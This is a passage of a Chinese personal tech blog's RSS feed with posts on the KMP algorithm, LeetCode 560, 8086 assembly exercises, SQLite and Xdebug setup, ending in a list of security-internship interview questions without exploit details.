</content:encoded></item><item><title>python实现KMP算法</title><link>https://rayepeng.net/posts/python%E5%AE%9E%E7%8E%B0kmp%E7%AE%97%E6%B3%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E5%AE%9E%E7%8E%B0kmp%E7%AE%97%E6%B3%95/</guid><pubDate>Wed, 22 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;学习完KMP算法才发现编程如此的奇妙&lt;/p&gt;
&lt;h2&gt;求next数组&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;def getNext(s):
    &apos;&apos;&apos;
    计算字符串的next数组
    &apos;&apos;&apos;
    length = len(s)
    next = [0 for i in range(length)]
    next[0] = -1
    k = -1
    j = 0
    while j &amp;lt; length-1:
        # 这个 or 逻辑写的np
        if k == -1 or s[j] == s[k]:
            j += 1
            k += 1
            next[j] = k
        else:
            k = next[k]
    return next
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从这张图可以看到整个的匹配过程，如果 $p_{k}$ 和 $p_{j}$ 匹配不上，那么就去看 $p_{next[k]}$ 和 $p_{j}$&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/20150812214857858.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = &quot;ABCDABD&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的结果就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[-1, 0, 0, 0, 0, 1, 2]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;细节感觉还是要靠自己体会&lt;/p&gt;
&lt;h2&gt;KMP算法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;def KMP(s,p):
    next = getNext(p)

    m,n = 0,0
    while m &amp;lt; len(s) and n &amp;lt; len(p):
        if n == -1 or p[n] == s[m]:
            n += 1
            m += 1

        else:
            n = next[n]
    if n == len(p):
        return True
    else:
        return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从头开始匹配即可，遇到匹配不上的情况就返回到 &lt;code&gt;next[k]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/v_JULY_v/article/details/7041827&quot;&gt;https://blog.csdn.net/v_JULY_v/article/details/7041827&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>go相关笔记</title><link>https://rayepeng.net/posts/go%E7%9B%B8%E5%85%B3%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/go%E7%9B%B8%E5%85%B3%E7%AC%94%E8%AE%B0/</guid><pubDate>Tue, 21 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;go相关命令&lt;/h2&gt;
&lt;h3&gt;go env&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;go env -w GOPROXY=https://goproxy.io,direct
# Set environment variable allow bypassing the proxy for selected modules
go env -w GOPRIVATE=*.corp.example.com
go env -w GO111MODULE=on
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>js学习笔记</title><link>https://rayepeng.net/posts/js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid><pubDate>Tue, 21 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Object对象&lt;/h2&gt;
&lt;h3&gt;静态方法&lt;/h3&gt;
&lt;p&gt;Object.keys()，Object.getOwnPropertyNames()&lt;/p&gt;
&lt;p&gt;可以用来遍历对象的属性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj1 = {
    &quot;name&quot;:&quot;pxy&quot;,
    &quot;age&quot;:12
}
//undefined
Object.getOwnPropertyNames(obj1)

//(2) [&quot;name&quot;, &quot;age&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实例方法&lt;/h3&gt;
&lt;p&gt;Object.protype上定义的方法就是实例方法，能够被Object的实例调用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.getOwnPropertyNames(Object.prototype)

(12) [&quot;constructor&quot;, &quot;__defineGetter__&quot;, &quot;__defineSetter__&quot;, &quot;hasOwnProperty&quot;, &quot;__lookupGetter__&quot;, &quot;__lookupSetter__&quot;, &quot;isPrototypeOf&quot;, &quot;propertyIsEnumerable&quot;, &quot;toString&quot;, &quot;valueOf&quot;, &quot;__proto__&quot;, &quot;toLocaleString&quot;]
0: &quot;constructor&quot;
1: &quot;__defineGetter__&quot;
2: &quot;__defineSetter__&quot;
3: &quot;hasOwnProperty&quot;
4: &quot;__lookupGetter__&quot;
5: &quot;__lookupSetter__&quot;
6: &quot;isPrototypeOf&quot;
7: &quot;propertyIsEnumerable&quot;
8: &quot;toString&quot;
9: &quot;valueOf&quot;
10: &quot;__proto__&quot;
11: &quot;toLocaleString&quot;
length: 12
__proto__: Array(0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些方法是所有对象都公有的&lt;/p&gt;
&lt;h3&gt;valueOf&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;valueOf&lt;/code&gt;方法的作用是返回一个对象的“值”，默认情况下返回对象本身。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = new Object();
obj.valueOf() === obj // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是这种情况除外：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a = new Object(1)
a.valueOf() === a // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;valueOf&lt;/code&gt;方法的主要用途是，JavaScript 自动类型转换时会默认调用这个方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = new Object();
1 + obj 
//&quot;1[object Object]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以重写 &lt;code&gt;valueOf&lt;/code&gt; 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;obj.valueOf = function(){
    return 2;
}
1+obj
//3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个很好理解，因为obj查找 &lt;code&gt;valueOf&lt;/code&gt; 函数，会先从自己的属性开始找，找不到就通过 &lt;code&gt;__proto__&lt;/code&gt; 找上层对象的&lt;code&gt;valueOf&lt;/code&gt; 属性&lt;/p&gt;
&lt;h2&gt;编码风格&lt;/h2&gt;
&lt;h3&gt;switch case 结构&lt;/h3&gt;
&lt;p&gt;不推荐如下的方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function doAction(action) {
  switch (action) {
    case &apos;hack&apos;:
      return &apos;hack&apos;;
    case &apos;slash&apos;:
      return &apos;slash&apos;;
    case &apos;run&apos;:
      return &apos;run&apos;;
    default:
      throw new Error(&apos;Invalid action.&apos;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推荐使用对象的方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function doAction(action) {
  var actions = {
    &apos;hack&apos;: function () {
      return &apos;hack&apos;;
    },
    &apos;slash&apos;: function () {
      return &apos;slash&apos;;
    },
    &apos;run&apos;: function () {
      return &apos;run&apos;;
    }
  };

  if (typeof actions[action] !== &apos;function&apos;) {
    throw new Error(&apos;Invalid action.&apos;);
  }

  return actions[action]();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更加简洁&lt;/p&gt;
</content:encoded></item><item><title>每天一道leetcode-560和为k的子数组</title><link>https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E9%81%93leetcode-560%E5%92%8C%E4%B8%BAk%E7%9A%84%E5%AD%90%E6%95%B0%E7%BB%84/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%AF%8F%E5%A4%A9%E4%B8%80%E9%81%93leetcode-560%E5%92%8C%E4%B8%BAk%E7%9A%84%E5%AD%90%E6%95%B0%E7%BB%84/</guid><pubDate>Tue, 21 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;给定一个整数数组和一个整数 k，你需要找到该数组中和为 k 的连续的子数组的个数。&lt;/p&gt;
&lt;p&gt;示例 1 :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;输入:nums = [1,1,1], k = 2
输出: 2 , [1,1] 与 [1,1] 为两种不同的情况。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;法一——暴力&lt;/h2&gt;
&lt;p&gt;两重循环，对每一个数字，从它开始往后，不断地累加，然后和k进行对比，这应该是最简单的想法了，但是我做这种题还是有点晕&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def subarraySum(nums, k):
    length = len(nums)
    count = 0
    for i in range(length):
        sum = 0
        for j in range(i, length):
            sum += nums[j]
            if sum == k:
                count += 1
            
    return count
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;法二——hashtables&lt;/h2&gt;
&lt;p&gt;思路就是不断地求和，然后判断 &lt;code&gt;cur_sum - k&lt;/code&gt; 是否已经计算过了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;将前缀和放入哈希表，哈希表的设计为：key是前缀和，value是前缀和出现的次数。&lt;br /&gt;
如果当前要存入的前缀和sum，使得(sum - k)也在哈希表中时，则使用count累加哈希表中(sum - k)出现的次数，然后再将该sum放入哈希表中。这里的count与sum的添加次序不能调换，主要是为了处理k为0的情况。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;def subarraySum(self, nums, k):
    result, cur_sum = 0, 0
    sum_dict = {0:1}
    for num in nums:
        cur_sum += num
        if cur_sum - k in sum_dict:
            result += sum_dict[cur_sum - k]
        sum_dict[cur_sum] = sum_dict.get(cur_sum, 0) + 1
    return result
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;go实现的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func subarraySum(nums []int, k int) int {
    count := 0
    sumMap := map[int]int{0:1,}
    sum := 0
    for _, num := range nums {
        sum += num
        if sumMap[sum - k] &amp;gt; 0 {
            count += sumMap[sum - k]
        }
        sumMap[sum]++
    }

    return count
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>汇编从入门到入土七</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%B8%83/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E4%B8%83/</guid><pubDate>Tue, 21 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;sub al,al ZF=1,PF=1,SF
mov al,1  ZF=0,PF=0,SF
push ax
pop bx
add al,bl 
add al,10
mul al
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实验十&lt;/h2&gt;
&lt;h3&gt;打印字符&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的重点是不知道字符串的长度，但是知道字符串十以0结尾的，所以利用 cx = 0 jcxz 会跳转，不断地置ch=0，当取到的字符cl=0时即可跳转&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

data segment
    db &apos;Welcome to masm!&apos;, 0
data ends

code segment

start:
    mov dh,8 ;dh表示行号
    mov dl,3 ;dl表示列号
    mov cl,2 ;cl表示颜色
    mov ax,data
    mov ds,ax
    mov si,0 ;字符串开始的位置

    call show_str
    mov ax,4c00h
    int 21h

show_str:

    mov ax,0b800h
    mov es,ax ;显存段

    mov di,0
    mov ax, 160
    mul dh
    add di,ax 

    mov al,2
    mul dl
    add di,ax ;计算开始的位置

    mov bl,cl ;保存颜色，因为cx要用来计数

s:
    mov cl, ds:[si] ;取出字符
    mov ch,0 ;当cl=0的时候,cx也等于0，此时执行jcxz
    jcxz ok
    mov es:[di], cl
    mov es:[di+1], bl
    add di,2
    inc si
    loop s
ok: ret

code ends
end start
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;进制转换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

data segment
    db 10 dup(0)
data ends

code segment

start:
    mov ax,12666
    mov bx,data
    mov ds,bx

    mov si,0

    call dtoc
    mov dh,8
    mov dl,3
    mov cl,2
    call show_str

    mov ax,4c00h
    int 21h
dtoc: mov si,9        
   s0: mov cx,10
       mov dx,00 ;dx存放余数
       div cx
       add dx,30H       
       mov [si],dl

       mov cx,ax ;判断商是否为0
       jcxz rt        

       dec si
       inc cx  ;防止cx=1的时候意外退出循环
       loop s0
rt: ret

show_str:

    mov ax,0b800h
    mov es,ax ;显存段

    mov di,0
    mov ax, 160
    mul dh
    add di,ax 

    mov al,2
    mul dl
    add di,ax ;计算开始的位置

    mov bl,cl ;保存颜色，因为cx要用来计数

s:
    mov cl, ds:[si] ;取出字符
    mov ch,0 ;当cl=0的时候,cx也等于0，此时执行jcxz
    jcxz ok
    mov es:[di], cl
    mov es:[di+1], bl
    add di,2
    inc si
    loop s
ok: ret

code ends
end start
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>sqlite数据库笔记</title><link>https://rayepeng.net/posts/sqlite%E6%95%B0%E6%8D%AE%E5%BA%93%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/sqlite%E6%95%B0%E6%8D%AE%E5%BA%93%E7%AC%94%E8%AE%B0/</guid><pubDate>Mon, 20 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基本操作&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;.quit&lt;/code&gt; 退出&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.tables&lt;/code&gt; 列出所有的表&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.schema&lt;/code&gt; 查看构建表的sql语句&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.database&lt;/code&gt; 查看数据库&lt;/p&gt;
&lt;h2&gt;创建数据库&lt;/h2&gt;
&lt;p&gt;只需要 &lt;code&gt;sqlite&lt;/code&gt; 加上数据库名即可&lt;/p&gt;
&lt;h2&gt;创建表&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE user(
ID INT NOT NULL PRIMARY KEY,
name TEXT ,
age TEXT,
password TEXT);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;sqlite不支持修改表已经存在的字段&lt;/strong&gt;，只能把原有的表重命名一下再创建一个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alter table user rename to `user_123`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果主键要求自动递增&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE user(
ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
name TEXT,
password TEXT
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;插入数据&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;insert into user(name,password) values(&quot;pxy&quot;, &apos;123456&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;查询数据&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sqlite&amp;gt; select * from user;
1|pxy|123456
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>ubuntu配置vscode+xdebug</title><link>https://rayepeng.net/posts/ubuntu%E9%85%8D%E7%BD%AEvscodexdebug/</link><guid isPermaLink="true">https://rayepeng.net/posts/ubuntu%E9%85%8D%E7%BD%AEvscodexdebug/</guid><pubDate>Mon, 20 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;vscode安装&lt;/h2&gt;
&lt;p&gt;直接去官网下载deb包，然后双击即可完成安装&lt;/p&gt;
&lt;p&gt;加两个配置选项&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;editor.mouseWheelZoom&quot;: true,
&quot;php.validate.executablePath&quot;: &quot;/usr/bin/php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个是直接用滚轮缩放大小，并且图标的大小不变，第二个是配置php的路径&lt;/p&gt;
&lt;p&gt;之后安装一些插件就不说了&lt;/p&gt;
&lt;h2&gt;apache环境&lt;/h2&gt;
&lt;p&gt;直接安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install apache2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后安装php模块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install libapache2-mod-php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后，修改一下html目录的用户和组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chown pxy html/ -R
chgrp pxy html/ -R
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;xdebug&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;php -i &amp;gt; a.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后将 a.txt 的内容拷贝到&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xdebug.org/wizard&quot;&gt;https://xdebug.org/wizard&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;自动帮你分析phpinfo的内容(不过现在只支持php7了)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Download &lt;a href=&quot;http://xdebug.org/files/xdebug-2.9.4.tgz&quot;&gt;xdebug-2.9.4.tgz&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install the pre-requisites for compiling PHP extensions.&lt;br /&gt;
On your Ubuntu system, install them with: &lt;code&gt;apt-get install php-dev autoconf automake&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unpack the downloaded file with &lt;code&gt;tar -xvzf xdebug-2.9.4.tgz&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run: &lt;code&gt;cd xdebug-2.9.4&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run: &lt;code&gt;phpize&lt;/code&gt; (See the &lt;a href=&quot;https://xdebug.org/docs/faq#phpize&quot;&gt;FAQ&lt;/a&gt; if you don’t have &lt;code&gt;phpize&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;As part of its output it should show:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Configuring for:
...
Zend Module Api No:      20170718
Zend Extension Api No:   320170718
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If it does not, you are using the wrong &lt;code&gt;phpize&lt;/code&gt;. Please follow &lt;a href=&quot;https://xdebug.org/docs/faq#custom-phpize&quot;&gt;this FAQ entry&lt;/a&gt; and skip the next step.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Run: &lt;code&gt;./configure&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run: &lt;code&gt;make&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run: &lt;code&gt;cp modules/xdebug.so /usr/lib/php/20170718&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update &lt;code&gt;/etc/php/7.2/cli/php.ini&lt;/code&gt; and change the line&lt;br /&gt;
&lt;code&gt;zend_extension = /usr/lib/php/20170718/xdebug.so&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Please also update &lt;code&gt;php.ini&lt;/code&gt; files in adjacent directories, as your system seems to be configured with a separate &lt;code&gt;php.ini&lt;/code&gt; file for the web server and command line.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;重点是后面几个步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cp modules/xdebug.so /usr/lib/php/20170718&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修改 &lt;code&gt;/etc/php/7.2/cli/php.ini&lt;/code&gt; 文件内容，加上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zend_extension = /usr/lib/php/20170718/xdebug.so
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后还需要修改 &lt;code&gt;/etc/php/7.2/apache2&lt;/code&gt; 目录下的 php.ini 这个才是web的&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如图， &lt;code&gt;cli&lt;/code&gt; 目录是命令行， &lt;code&gt;apache2&lt;/code&gt; 才是web的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587378336782.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;之后还需要修改 &lt;code&gt;mods-available&lt;/code&gt; 目录下的文件&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;pxy@pxy-VirtualBox:/etc/php/7.2/mods-available$ cat xdebug.ini 
;zend_extension=xdebug.so
xdebug.remote_enable = 1
xdebug.remote_port = 9000
;xdebug.idekey = PHPSTORM
xdebug.remote_host=localhost
xdebug.remote_autostart = 1
xdebug.show_error_trace = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;最后需要在web和cli下的 &lt;code&gt;conf.d&lt;/code&gt; 中做一次软链接&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587378447111.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此xdebug+vscode就配置好了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1587378474835.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>汇编从入门到入土六</title><link>https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E5%85%AD/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%B1%87%E7%BC%96%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E5%85%A5%E5%9C%9F%E5%85%AD/</guid><pubDate>Mon, 20 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;mul和div&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;mul指令&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;两个相乘的数，如果都为8位，其中一个默认存放在AL，另一个放在8位寄存器或者内存字节单元中，结果是16位的，默认存放在AX中&lt;/li&gt;
&lt;li&gt;两个相乘的数，如果都为16位，其中一个默认存放在AX，另一个放在16位寄存器或者内存字单元中，结果是32位的，高位默认存放在DX中，低位存放在AX中&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;div指令&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;除数有8位和16位，存放在reg或者内存单元&lt;/li&gt;
&lt;li&gt;除数为8位，被除数为16位，被除数默认存放在AX中。除数为16位，被除数为32位，被除数高位存放在DX中，低位存放在AX中&lt;/li&gt;
&lt;li&gt;结果，除数为8位，商存储在AL，余数存储在AH。除数为16位，商存储在AX，余数存储在DX&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;实验九 打印&lt;/h2&gt;
&lt;p&gt;打印helloworld&lt;/p&gt;
&lt;p&gt;尤其要注意 &lt;code&gt;mov al, [bp]&lt;/code&gt;，这里是取出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;assume cs:code

data segment
    db &apos;Hello World&apos;
    db 24h
    dw 1824 
data ends

code segment

start:
    mov ax,data
    mov ds,ax

    mov ax, 0b800h
    mov es, ax

    mov si,0
    mov di,0

    mov bx, ds:[12]
    mov bp, ds:[11]

    mov cx, 11
s:
    mov al, ds:[si]
    mov es:[bx+di], al
    mov al, [bp]
    mov es:[bx+di+1], al

    inc si
    add di,2
    loop s

    mov ax,4c00h
    int 21h

code ends
end start
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>2020年的实习面试经过</title><link>https://rayepeng.net/posts/2020%E5%B9%B4%E7%9A%84%E5%AE%9E%E4%B9%A0%E9%9D%A2%E8%AF%95%E7%BB%8F%E8%BF%87/</link><guid isPermaLink="true">https://rayepeng.net/posts/2020%E5%B9%B4%E7%9A%84%E5%AE%9E%E4%B9%A0%E9%9D%A2%E8%AF%95%E7%BB%8F%E8%BF%87/</guid><pubDate>Sun, 19 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;2020年的实习面试经过&lt;/p&gt;
&lt;p&gt;从2月到4月，中间大大小小经历了20次左右的面试，记录一下&lt;/p&gt;
&lt;p&gt;长亭&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;自我介绍&lt;/li&gt;
&lt;li&gt;tomcat AJP漏洞了解过吗&lt;/li&gt;
&lt;li&gt;Java反序列化漏洞&lt;/li&gt;
&lt;li&gt;JNDI注入，Java7和Java8的区别(这里确实是自己挖坑了，简历上写了自己会Java审计，JNDI注入等，但是并没有仔细准备，结果面试官抓着Java不放)&lt;/li&gt;
&lt;li&gt;XXE如果无法联网怎么利用(三层嵌套报错XXE或者利用系统自带的DTD文件)&lt;/li&gt;
&lt;li&gt;你比较擅长的方面&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不知道为啥和长亭面试官聊起来挺尬的。最后也只面试了20分钟就结束了，当然结果是凉凉了&lt;/p&gt;
&lt;p&gt;字节跳动-企业应用安全&lt;/p&gt;
&lt;p&gt;一面&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;具体的一个代码审计案例&lt;/li&gt;
&lt;li&gt;说一下你知道的四种漏洞的原理，利用，危害和防御&lt;/li&gt;
&lt;li&gt;XSS知道吗&lt;/li&gt;
&lt;li&gt;说一下前端漏洞中你比较熟悉的&lt;/li&gt;
&lt;li&gt;python沙盒逃逸&lt;/li&gt;
&lt;li&gt;你觉得自己的优势是什么&lt;/li&gt;
&lt;li&gt;对未来的规划&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;字节跳动一面官感觉挺棒的，全程在引导你，而且特别尊重你说出自己的看法&lt;/p&gt;
&lt;p&gt;二面&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;简单问了几个小问题，python沙盒逃逸，JavaScript原型链污染&lt;/li&gt;
&lt;li&gt;有没有了解过electron框架（就是开发vscode的，我说没有，但是我知道vue&lt;/li&gt;
&lt;li&gt;vue怎么防御csrf(我不太了解vue怎么防范，先说一些怎么防CSRF balabal)&lt;/li&gt;
&lt;li&gt;提示vue是通过ajax和后端连接，我：哦想起来了，那就用CORS来防御，然后说了CORS的防御&lt;/li&gt;
&lt;li&gt;继续问。CORS分为简单请求和非简单请求，一个POST请求怎么区分&lt;/li&gt;
&lt;li&gt;java做过哪些&lt;/li&gt;
&lt;li&gt;mXSS了解吗&lt;/li&gt;
&lt;li&gt;参数压栈入栈简单说下&lt;/li&gt;
&lt;li&gt;你怎么将CTF学到的用到实战&lt;/li&gt;
&lt;li&gt;go有没有了解&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;二面面试官也挺棒的，唯一的问题就是。。。他家的小孩子太吵了。。几次打断我的思路&lt;/p&gt;
&lt;p&gt;三面&lt;/p&gt;
&lt;p&gt;三面是部门leader面，本来以为会继续问技术的，结果。。问了一堆人生相关的问题，而且回答的不好，没有完全表现出自己的水平。。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一次打CTF的经历(就是由于一开始的这个问题导致我后面都在说CTF，可能leader觉得我的眼界太小了吧)&lt;/li&gt;
&lt;li&gt;你对未来的规划(这种问题真心不好回答)&lt;/li&gt;
&lt;li&gt;你是怎么选择上这个专业的&lt;/li&gt;
&lt;li&gt;你认为你还有哪些技能需要完善&lt;/li&gt;
&lt;li&gt;你觉得学习编程语言需要注意哪些&lt;/li&gt;
&lt;li&gt;go的垃圾回收机制(这个真是自己多嘴了，不该说自己学了点go的，这个问题没答上来)&lt;/li&gt;
&lt;li&gt;go的并发机制有哪些(我就知道channel。。)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;周五面试完，下周一结果出来后就凉凉了，之后转岗到安全与风控部门，结果这是个开发岗，问的问题都是和编程有关的&lt;/p&gt;
&lt;p&gt;只记录了几个问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;http1.0和1.1的区别&lt;/li&gt;
&lt;li&gt;hashtable的原理&lt;/li&gt;
&lt;li&gt;进程和线程的区别&lt;/li&gt;
&lt;li&gt;进程间通信的方式&lt;/li&gt;
&lt;li&gt;hash冲突解决&lt;/li&gt;
&lt;li&gt;tcp和udp协议&lt;/li&gt;
&lt;li&gt;用c语言实现双链表的插入和删除&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;面试了一个多小时。。最后面试官说看了我的博客觉得我在漏洞挖掘，渗透这块还行，建议我投其他的部门，我说我就是转岗过来的。。。&lt;/p&gt;
&lt;p&gt;知道创宇 - 404实验室&lt;/p&gt;
&lt;p&gt;知道创宇是3月5号投递的，结果3月底才安排面试，以至于我都忘记投递了。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;分享几个cms漏洞挖掘的案例&lt;/li&gt;
&lt;li&gt;代码审计的思路&lt;/li&gt;
&lt;li&gt;假设一个cms你找到了一个反序列化的入口，如何挖掘POP链&lt;/li&gt;
